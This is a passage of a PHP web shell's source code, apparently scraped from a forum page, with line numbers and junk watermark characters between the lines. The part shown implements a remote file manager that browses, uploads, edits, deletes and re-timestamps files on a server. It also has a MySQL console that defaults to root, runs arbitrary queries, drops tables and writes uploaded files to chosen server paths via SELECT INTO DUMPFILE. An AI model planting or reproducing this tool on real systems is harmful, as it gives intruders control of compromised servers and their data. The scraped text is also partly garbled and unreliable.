466.         $('fileopform').dir.value=dir;
     
467.         $('fileopform').submit();
     
468. }
     
469. function godir(dir,view_writable){
     
470.         if (view_writable) {
     
471.                 $('godir').view_writable.value=1;
     ) E8 g& M% M# M: m8 Z" a, y
472.         }
     
473.         $('godir').dir.value=dir;
     1 Y- A# Y- X: ^0 m8 _
474.         $('godir').submit();
     & \& b$ x9 i& O( O( S! X/ }
475. }
     . {1 z5 @( j3 K8 W- R
476. </script>
       h: E# f& i% S1 a) c( K3 n5 y; v
477.   <?php
     
478.         tbhead();
     ; \4 i* m7 r; k* T
479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
     
480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
       F2 K" }7 x1 ]4 D$ O, i% E
481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
     ! ]; y5 ?/ M4 s% C4 w
482.         if ($view_writable) {
     ( i6 {- o- [7 R# @
483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
     
484.         } else {
     
485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
     * L: J. U6 T6 [3 g
486.         }
     # h6 L* T& O( ~9 x+ i9 m* }
487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
     
488.         if (IS_WIN && IS_COM) {
     5 L/ j# n# u: }* G# ?. P8 Z
489.                 $obj = new COM('scripting.filesystemobject');
     
490.                 if ($obj && is_object($obj)) {
       N. e7 s: i2 t* \8 C9 |3 ]) V
491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
     
492.                         foreach($obj->Drives as $drive) {
     - m, Q2 a6 I6 X( M5 p5 m/ b
493.                                 if ($drive->DriveType == 2) {
     + ~( X" E" l; B+ S
494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
     1 N3 l( x: B5 Q% j: m
495. Free:'.sizecount($drive->FreeSpace).'
     , E( e/ R- T; {9 V
496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     ( ^6 C* _0 a/ f! F/ s
497.                                 } else {
     
498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     
499.                                 }
     , p; p# F4 r8 A
500.                         }
     1 s4 h% _" f0 A( \* W* O1 W
501.                 }
     . }. ]; u. {- x8 V+ N
502.         }
     2 c/ c5 a1 G/ K% b3 o9 u2 v% W
503. 
     9 t. R, H9 j2 W+ M1 n  t
504.         p('</td></tr></form>');
     . e* p0 @+ }, v: j1 P8 Q6 {8 k
505. 
     ! Q9 _) ]  ]# I" A
506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
     
507. 
     % V: N0 i6 g7 j# @; \* W2 n+ N
508.         //查看所有可写文件和目录
     
509.         $dirdata=array();
       B, O/ K: N$ {( U4 B
510.         $filedata=array();
     . _3 s5 X5 O( N# t/ I, s
511. 
     - ]6 i# E) ^( p
512.         if ($view_writable) {
     , z7 I% X" H& d9 e; l
513.                 $dirdata = GetList($nowpath);
     " u; [. d; O; P  e+ J3 n' z
514.         } else {
     
515.                 // 目录列表
     0 V" Z& m* D) L3 `2 m7 H9 S* t
516.                 $dirs=@opendir($dir);
     + C, v. r2 v+ A# V
517.                 while ($file=@readdir($dirs)) {
     6 o; X+ u9 H0 n& `; |
518.                         $filepath=$nowpath.$file;
     ; I1 p/ N6 I1 Y, v
519.                         if(@is_dir($filepath)){
     " T  [& `& p# j7 Y7 j
520.                                 $dirdb['filename']=$file;
     ; F3 ], E$ e: q  `( U
521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     
522.                                 $dirdb['dirchmod']=getChmod($filepath);
     
523.                                 $dirdb['dirperm']=getPerms($filepath);
     
524.                                 $dirdb['fileowner']=getUser($filepath);
     & C+ `! G" Q0 X. _
525.                                 $dirdb['dirlink']=$nowpath;
     ' a1 E4 _) ~" e
526.                                 $dirdb['server_link']=$filepath;
     
527.                                 $dirdb['client_link']=ue($filepath);
     
528.                                 $dirdata[]=$dirdb;
     . R( |. o* I$ s& C9 o% h: y" L
529.                         } else {               
     
530.                                 $filedb['filename']=$file;
     
531.                                 $filedb['size']=sizecount(@filesize($filepath));
     
532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     
533.                                 $filedb['filechmod']=getChmod($filepath);
     
534.                                 $filedb['fileperm']=getPerms($filepath);
     8 D7 F4 |' @' z# }: F
535.                                 $filedb['fileowner']=getUser($filepath);
     - k/ E* F- Y9 R3 X3 D! i# j+ B
536.                                 $filedb['dirlink']=$nowpath;
     
537.                                 $filedb['server_link']=$filepath;
     , Z( z0 m: o2 w
538.                                 $filedb['client_link']=ue($filepath);
     3 N2 U4 o+ O0 D# v# S" x2 }' a- @
539.                                 $filedata[]=$filedb;
     
540.                         }
     
541.                 }// while
     
542.                 unset($dirdb);
     # P/ m; c3 A4 l% b: s3 u2 o
543.                 unset($filedb);
     / b0 O+ `. u: H2 ]
544.                 @closedir($dirs);
     " u2 n! n* |5 M; T( }2 N
545.         }
     + [4 b5 s& e( Y
546.         @sort($dirdata);
     
547.         @sort($filedata);
     + K/ a5 o& n* C# C
548.         $dir_i = '0';
     
549.         foreach($dirdata as $key => $dirdb){
     
550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
     * _  ^1 T2 S4 Z3 x1 Q/ `
551.                         $thisbg = bg();
     8 G* }# I4 c* W; @3 m4 @
552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
     9 @' y' ^. G6 l2 H- N6 p
554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
     0 O/ O3 r" f& u! u
555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
     0 }2 f" r4 Z- B$ J; V
556.                         p('<td nowrap>--</td>');
     $ p% t& S7 v. ^2 }
557.                         p('<td nowrap>');
     & p& _/ `4 g% q8 A# d
558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
     
559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
     / G" a% [+ c7 q7 d6 _
560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
     3 u+ t" w! s$ m* ]% P
561.                         p('</tr>');
     
562.                         $dir_i++;
     ) ~) d  j9 c. `
563.                 } else {
     - t. V2 |3 A' J& u1 @. F+ X* `
564.                         if($dirdb['filename']=='..') {
     ; Z  d8 \( {& U6 Q
565.                                 p('<tr class='.bg().'>');
     ! N/ ~. R0 q. H' T1 b  H) i
566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
     
567.                                 p('</tr>');
     
568.                         }
     7 {2 O1 }# {/ k, S6 S# B
569.                 }
     ) M+ P( I  D* A. `& I8 A
570.         }
     , t. k0 a6 D. j% B) K5 H9 W
571. 
     
572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
     ( V: |0 S# Y( J9 E7 G
573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
     
574.         makehide('action','file');
     
575.         makehide('thefile');
     
576.         makehide('doing');
     
577.         makehide('dir',$nowpath);
     
578.         $file_i = '0';
     
579.         foreach($filedata as $key => $filedb){
     
580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
     6 }- j9 V" r) I1 q
581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
     
582.                         $thisbg = bg();
     
583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     . u& k: E- U) _3 Q4 ~2 l
584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
     0 t+ V: ?9 |6 k' b  b. h
585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
     
586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
     
587.                         p('<td nowrap>'.$filedb['size'].'</td>');
     9 }, y8 `; D& a; c- M8 @
588.                         p('<td nowrap>');
     
589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
     8 Z, Q$ N6 K6 U- T
590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
     4 u0 J$ D. {+ S5 ]8 C! g
591.                         p('<td nowrap>');
     
592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
     
593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
     2 w* s  F* _6 ?
594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
     
595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
     " l& i3 x5 V, W- r
596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
     
597.                         p('</td></tr>');
     
598.                         $file_i++;
     ) c" e$ O; Z8 U5 e0 N
599.                 }
     ( z" K' x- M: s- w! n4 V0 w
600.         }
     
601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
     0 o* @4 ?5 b2 h; b7 t( q6 _. E' N$ S" f
602.         p('</form></table>');
     
603. }// end dir
     - K& U$ D, H2 Z0 i& p5 ^- k
604. 
     
605. elseif ($action == 'sqlfile') {
     ) G: `. T+ P/ T, Y! V9 z  z7 s$ R
606.         if($doing=="mysqlupload"){
     
607.                 $file = $_FILES['uploadfile'];
     
608.                 $filename = $file['tmp_name'];
     0 d. C5 I" u# d+ h0 f
609.                 if (file_exists($savepath)) {
     $ o  @$ a* \6 B% |8 W1 R5 _( `# x
610.                         m('The goal file has already existed');
     # [; h7 j5 Y) d! c4 e$ J% j4 }
611.                 } else {
     ; k: B4 C* G. {% A! j' s
612.                         if(!$filename) {
     . {& ^; h5 \0 Q2 z. r+ k
613.                                 m('Please choose a file');
     
614.                         } else {
     , }2 b# ]/ Y! x+ G
615.                                 $fp=@fopen($filename,'r');
     
616.                                 $contents=@fread($fp, filesize($filename));
     
617.                                 @fclose($fp);
     9 Q8 V: o& J9 W8 I& O
618.                                 $contents = bin2hex($contents);
     
619.                                 if(!$upname) $upname = $file['name'];
     
620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     5 U* u4 E6 B5 Z* }0 w
621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
     
622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
     - ~5 r8 T4 n* j* S0 X5 ]( l
623.                         }
     
624.                 }
     
625.         }
     ) P4 k0 N# q- ]7 S' \
626. ?>
     
627. <script type="text/javascript">
     
628. function mysqlfile(doing){
     9 T) k& q# g. D" p
629.         if(!doing) return;
     
630.         $('doing').value=doing;
     
631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
     
632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
     
633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
     * e5 q' U, c1 ]  \
634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
     
635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
     * S8 k3 M- P8 I  N5 ?6 b# o
636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
     8 j/ V( p. x/ l7 a0 S) a$ }3 E
637.         $('mysqlfile').submit();
     9 |; X1 S  ]& L; v; i
638. }
     9 o) k3 q" W* B
639. </script>
     6 N) f. S  l9 E* b, K3 O
640. <?php
     
641.         !$dbhost && $dbhost = 'localhost';
     
642.         !$dbuser && $dbuser = 'root';
     5 \4 k" n0 _, l# G+ |' |
643.         !$dbport && $dbport = '3306';
     # u( ]2 R: Z8 N) S* u
644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     
645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
     
646.         makehide('action','sqlfile');
     
647.         p('<p>');
     4 V$ Z% v/ `% Q9 a2 u* A* i$ v
648.         p('DBHost:');
     
649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     
650.         p(':');
     / g& l- S' ?. Q6 ?
651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     # \  n9 y3 d  ^2 |! Q: l
652.         p('DBUser:');
       V; ]8 G( X0 j: E% W! n" h
653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     
654.         p('DBPass:');
     
655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     + T- n- H1 H" C6 y: e8 ?6 b
656.         p('DBName:');
     1 ~  \% H" ]) E5 m" @
657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
     
658.         p('DBCharset:');
     6 `3 {$ Q  _9 f6 v7 J: Y2 x2 @
659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     
660.         p('</p>');
     9 l" P6 m2 L3 f! m* V/ _
661.         formfoot();
     5 W# n6 t. R& O, W
662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
     
663.         p('<h2>Upload file</h2>');
     3 e: m3 Z$ Q) b! u6 I
664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
     
665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
     & a4 O! S$ [. X$ F. r, E
666.         p('<h2>Download file</h2>');
     8 ^9 x3 z! z' E4 m7 u- x) j; _
667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
     % ^) r/ C3 o8 [+ L4 u$ }
668.         makehide('dbhost');
     
669.         makehide('dbport');
     0 C" y( j) `6 k
670.         makehide('dbuser');
     
671.         makehide('dbpass');
     8 ~: g4 T: ?, v3 o* L4 c
672.         makehide('dbname');
     
673.         makehide('charset');
     
674.         makehide('doing');
     / t# |0 b+ H1 t- u$ k' g' V
675.         makehide('action','sqlfile');
     % \' `1 W# C  ^( Y  o% O8 {
676.         p('</form>');
     
677. }
     ) I/ \( ~. {7 e9 N7 Q
678. 
     0 B7 K' [$ O* [$ Z5 v' G
679. elseif ($action == 'sqladmin') {
     , e, V$ k. K2 [- _
680.         !$dbhost && $dbhost = 'localhost';
     : d6 L' \7 ~& N7 c! ?. t6 |
681.         !$dbuser && $dbuser = 'root';
     
682.         !$dbport && $dbport = '3306';
     6 S2 J( s% ?% v1 {4 p  K
683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
     
684.         if(isset($dbhost)){
     2 O, l! @9 F# Q1 X& [; P4 ]
685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
     " I; {2 [! ^; R3 P  Q+ [5 M
686.         }
     
687.         if(isset($dbuser)) {
     
688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
     
689.         }
     ; Y7 N" W* i; A* n6 ~
690.         if(isset($dbpass)) {
     * [# o4 I! o- x
691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
     
692.         }
     3 d7 X( b8 K. A) K3 _
693.         if(isset($dbport)) {
     
694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
     
695.         }
     
696.         if(isset($dbname)) {
     
697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
     
698.         }
     # N2 ~" ^! z' o  `  n2 Y: g( R
699.         if(isset($charset)) {
     , W; `% g* u) N: S: {
700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
     6 D- D- N7 g; b" Z9 l. t1 D% s
701.         }
     
702. 
     
703.         if ($doing == 'backupmysql' && $saveasfile) {
     
704.                 if (!$table) {
     
705.                         m('Please choose the table');
     
706.                 } else {
     
707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     + M( u& B' J' E& I! U' x  B, s- a
708.                         $table = array_flip($table);
     
709.                         $fp = @fopen($path,'w');
     $ z8 l, t; [7 a4 Y
710.                         if ($fp) {
     $ @' F- N+ P6 I) |8 y, ~' W
711.                                 $result = q('SHOW tables');
     
712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
     
713.                                 $mysqldata = '';
     
714.                                 while ($currow = mysql_fetch_array($result)) {
     ' o. L4 x' j3 y2 L- J0 ^
715.                                         if (isset($table[$currow[0]])) {
     4 I4 F& ~- o) e+ K
716.                                                 sqldumptable($currow[0], $fp);
     + h8 L% A/ T0 H# s
717.                                         }
     * M2 m7 v" U% h" K1 O. {
718.                                 }
     " y1 o0 {5 D: u8 y5 X8 M
719.                                 fclose($fp);
     
720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
     8 \- U/ q$ I  ~9 {' h! ?2 K) Y
721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
     
722.                                 mysql_close();
     ; X' O* E: s) ?
723.                         } else {
     ! r' F# o: B1 L9 t7 c
724.                                 m('Backup failed');
     
725.                         }
     
726.                 }
     & K& j' w9 J7 b& z
727.         }
     
728.         if ($insert && $insertsql) {
     8 X9 x1 w( K8 S- G6 S4 b. F
729.                 $keystr = $valstr = $tmp = '';
     & A3 `) {5 S/ H0 _# m
730.                 foreach($insertsql as $key => $val) {
     
731.                         if ($val) {
     8 j( l# }- u+ C& F0 a8 `! q4 @8 d7 R
732.                                 $keystr .= $tmp.$key;
     4 K( j7 D, m+ @$ S) d2 ~
733.                                 $valstr .= $tmp."'".addslashes($val)."'";
     
734.                                 $tmp = ',';
     
735.                         }
     
736.                 }
     * F6 V8 R( R  g" v8 e% I
737.                 if ($keystr && $valstr) {
     
738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
     
740.                 }
     5 s/ k0 R; Y; r+ k& d. Q: n
741.         }
     
742.         if ($update && $insertsql && $base64) {
     ; `8 x9 t4 X9 l3 r7 t; z
743.                 $valstr = $tmp = '';
     ; Q: M9 ?$ F+ o' I* K9 n7 p' L  N
744.                 foreach($insertsql as $key => $val) {
       U' t5 ]& i& i, G0 @
745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
     ; j% R. |% l- l1 M
746.                         $tmp = ',';
     
747.                 }
     
748.                 if ($valstr) {
     ( B2 ]: {2 F& Z2 S
749.                         $where = base64_decode($base64);
     
750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
     7 w2 r8 g0 q" U  l8 X# T
752.                 }
     7 q& r5 L! K  s9 b/ \0 P
753.         }
     ; ]& y$ j1 x( ?0 E7 j
754.         if ($doing == 'del' && $base64) {
     , Q; L9 w7 C7 ^& \
755.                 $where = base64_decode($base64);
     ; P; r* p5 l+ t9 i. }
756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
     
757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     7 Z; d. W! L7 F0 s, e# E
758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
     0 t4 y% z% z4 j
759.         }
     + z7 y6 r: m" V( f3 T9 L/ w
760. 
     
761.         if ($tablename && $doing == 'drop') {
     
762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     9 Y% X9 g1 w$ o. x) s* q
763.                 if (q("DROP TABLE $tablename")) {
     ! O. `6 D3 P- ]: b7 z) o4 P( k* K
764.                         m('Drop table of success');
     
765.                         $tablename = '';
     
766.                 } else {
     8 w( Q7 |4 K1 a, k0 Z* X
767.                         m(mysql_error());
     
768.                 }
     
769.         }
     
770. 
     9 I2 `+ S8 w% D( s
771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     
772. 
     - o2 F% j9 m, o  b! d$ G; K
773.         formhead(array('title'=>'MYSQL Manager'));
       Z* b$ `' |  ?( X1 L/ F, o
774.         makehide('action','sqladmin');
     8 S, r! l$ ?6 f# K8 W' v5 Y7 ?
775.         p('<p>');
     
776.         p('DBHost:');
     
777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     7 n3 ~1 j' B4 d" @
778.         p(':');
     
779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     
780.         p('DBUser:');
     
781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     
782.         p('DBPass:');
     4 W8 w; d, I/ i/ D+ i3 Y; W( D$ G
783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     
784.         p('DBCharset:');
     + d# V9 F+ y6 }$ U
785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     8 a) y, ]. M1 f3 f4 {: K
786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
     
787.         p('</p>');
     
788.         formfoot();
     " W# a- U+ w( X: F  {
789. ?>
     9 k" p, u8 Z4 d! R. F9 x
790. <script type="text/javascript">
     4 x/ ]8 s2 W, |  t; L' y
791. function editrecord(action, base64, tablename){
     
792.         if (action == 'del') {               
     0 d/ m- s# ~: l1 ]/ }) f
793.                 if (!confirm('Is or isn\'t deletion record?')) return;
     ' _3 w1 w% S- J
794.         }
     
795.         $('recordlist').doing.value=action;
     
796.         $('recordlist').base64.value=base64;
     1 h8 d, n# j$ \# H5 y2 ]
797.         $('recordlist').tablename.value=tablename;
     
798.         $('recordlist').submit();
     
799. }
     
800. function moddbname(dbname) {
     
801.         if(!dbname) return;
     + N+ z: D+ X! }( ~+ c" \
802.         $('setdbname').dbname.value=dbname;
     
803.         $('setdbname').submit();
     
804. }
     + X# Q  m( n. ]! V1 ^& n- o
805. function settable(tablename,doing,page) {
     3 a3 H6 x- l4 n$ E
806.         if(!tablename) return;
     
807.         if (doing) {
     
808.                 $('settable').doing.value=doing;
     ( c2 r3 i3 [4 E  v1 {# K/ [
809.         }
     / S' p# E: f/ \8 Z  f% z7 P* M
810.         if (page) {
     5 \+ Y7 {: u8 L2 p5 k
811.                 $('settable').page.value=page;
     
812.         }
     
813.         $('settable').tablename.value=tablename;
     7 l- A6 O4 E, p8 c" E9 W: \
814.         $('settable').submit();
     * C' r" o, n- p* Q
815. }
     9 m5 Y6 R& v0 v
816. </script>
     
817. <?php
     # ~% K9 h! i% n0 l- ]9 ?3 t( ^
818.         //操作记录
     
819.         formhead(array('name'=>'recordlist'));
     
820.         makehide('doing');
     
821.         makehide('action','sqladmin');
     % G7 c( M" c  U- i  m+ c$ y
822.         makehide('base64');
     / m; c# l4 W! g, @( ?
823.         makehide('tablename');
     0 d# t* Q# l0 K% @
824.         p($dbform);
     
825.         formfoot();
     
826.         //选定数据库
     
827.         formhead(array('name'=>'setdbname'));
     7 T0 K; P; |5 a2 o
828.         makehide('action','sqladmin');
     
829.         p($dbform);
     
830.         if (!$dbname) {
     
831.                 makehide('dbname');
     
832.         }
     + o2 C  c+ f# G3 {: \' e6 E1 Y
833.         formfoot();
     ( W$ `/ q+ K8 s/ C2 ?' ^
834.         //选定表
     
835.         formhead(array('name'=>'settable'));
     
836.         makehide('action','sqladmin');
     
837.         p($dbform);
     6 F4 t" {7 Y' e( d, ~
838.         makehide('tablename');
     
839.         makehide('page',$page);
     / K# ]. o* A" T# m
840.         makehide('doing');
     
841.         formfoot();
     
842.         $cachetables = array();       
     & g+ M% D7 H- a
843.         $pagenum = 30;
     # f) l' n: l; F$ D" E
844.         $page = intval($page);
     
845.         if($page) {
     , ^, E6 [& O: @! `
846.                 $start_limit = ($page - 1) * $pagenum;
     
847.         } else {
     ) b$ k/ ?! Q- \, W% j
848.                 $start_limit = 0;
     + N, I& C* x) w: a# _& R
849.                 $page = 1;
     ' Q6 c; K1 H( X
850.         }
     + ?4 I1 ~- i- d# |. U7 T6 i6 A. C
851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
     # R  F- w; T+ P0 w
852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     4 ~8 o* j, O4 W/ t$ `
853.                 //获取数据库信息
     
854.                 $mysqlver = mysql_get_server_info();
     
855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
     
856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
     5 T: H2 \8 U( _8 m
857.                 //获取数据库
     
858.                 $query = q("SHOW DATABASES");
     7 u( E* [2 w9 D$ x
859.                 $dbs = array();
     
860.                 $dbs[] = '-- Select a database --';
     6 |& z! t/ m" ?$ o6 ~& ]  _  h) t
861.                 while($db = mysql_fetch_array($query)) {
     
862.                         $dbs[$db['Database']] = $db['Database'];
     & M; P* D3 T# R  b1 }7 j0 k. b7 }; E
863.                 }
     ! C$ E& I5 }( C: V$ E# Y
864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
     , t: x6 b, }$ N; k" Y
865.                 $tabledb = array();
     
866.                 if ($dbname) {
     
867.                         p('<p>');
     
868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
     % x; c+ _! r+ Z( u
869.                         if ($tablename) {
     6 X6 @# ~$ q( ~% r5 H& p
870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
     
871.                         }
     
872.                         p('</p>');
     
873.                         mysql_select_db($dbname);
     2 \* K! e. u) A; z4 C$ h; k8 f& |0 b5 b
874.                         $getnumsql = '';
       w. Y5 z( `# o6 S! F
875.                         $runquery = 0;
     
876.                         if ($sql_query) {
     
877.                                 $runquery = 1;
     
878.                         }
     
879.                         $allowedit = 0;
     
880.                         if ($tablename && !$sql_query) {
     
881.                                 $sql_query = "SELECT * FROM $tablename";
     # T0 m8 u! z/ `) `% I. k
882.                                 $getnumsql = $sql_query;
     
883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
     
884.                                 $allowedit = 1;
     
885.                         }
     
886.                         p('<form action="'.$self.'" method="POST">');
     
887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
     : L5 u1 G3 Q% |- m# `. @) |2 a
888.                         makehide('tablename', $tablename);
     
889.                         makehide('action','sqladmin');
     
890.                         p($dbform);
     
891.                         p('</form>');
     
892.                         if ($tablename || ($runquery && $sql_query)) {
     
893.                                 if ($doing == 'structure') {
     
894.                                         $result = q("SHOW COLUMNS FROM $tablename");
     + k! I; O5 u: ~5 O5 ^% j! v
895.                                         $rowdb = array();
     / y* u. Y+ t! G
896.                                         while($row = mysql_fetch_array($result)) {
     : l/ F9 c  e- O" {* @+ G/ B$ f9 Z
897.                                                 $rowdb[] = $row;
     % S- b! L; |5 {
898.                                         }
     6 s6 L/ N/ Y: S! u
899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     
900.                                         p('<tr class="head">');
